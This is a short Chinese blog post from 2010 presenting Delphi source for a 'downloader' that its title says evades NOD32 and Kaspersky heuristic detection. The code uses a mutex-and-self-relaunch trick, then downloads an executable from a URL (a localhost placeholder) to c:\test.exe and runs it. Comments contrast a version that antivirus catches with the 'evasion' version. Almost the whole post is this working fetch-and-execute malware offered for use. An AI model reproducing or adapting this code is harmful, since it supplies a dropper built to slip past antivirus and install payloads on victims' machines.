最简单的下载者过NOD32 卡巴等启发
作者:xpfox 日期:2010-05-04
program Main;
uses
Windows,
Urlmon;
procedure DownExeTest();
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, 'TestD');
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);
WinExec('c:\test.exe', SW_SHOW);
end else
begin
WinExec(pchar(paramstr(0)),SW_HIDE);
end;
end;
end;
{
procedure DownExe();
begin
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);
WinExec('c:\test.exe', SW_SHOW);
end;
}
begin
// DownExe(); //没有处理的 被杀..
DownExeTest(); //处理的 免杀..
end.
}
评论: 1 | 引用: 0 | 查看次数: 370
回复
|
|
]希望和你比试罗马复兴
发表评论
你没有权限发表评论!
上一篇:
下一篇: 


文章来自:
Tags:
相关日志:













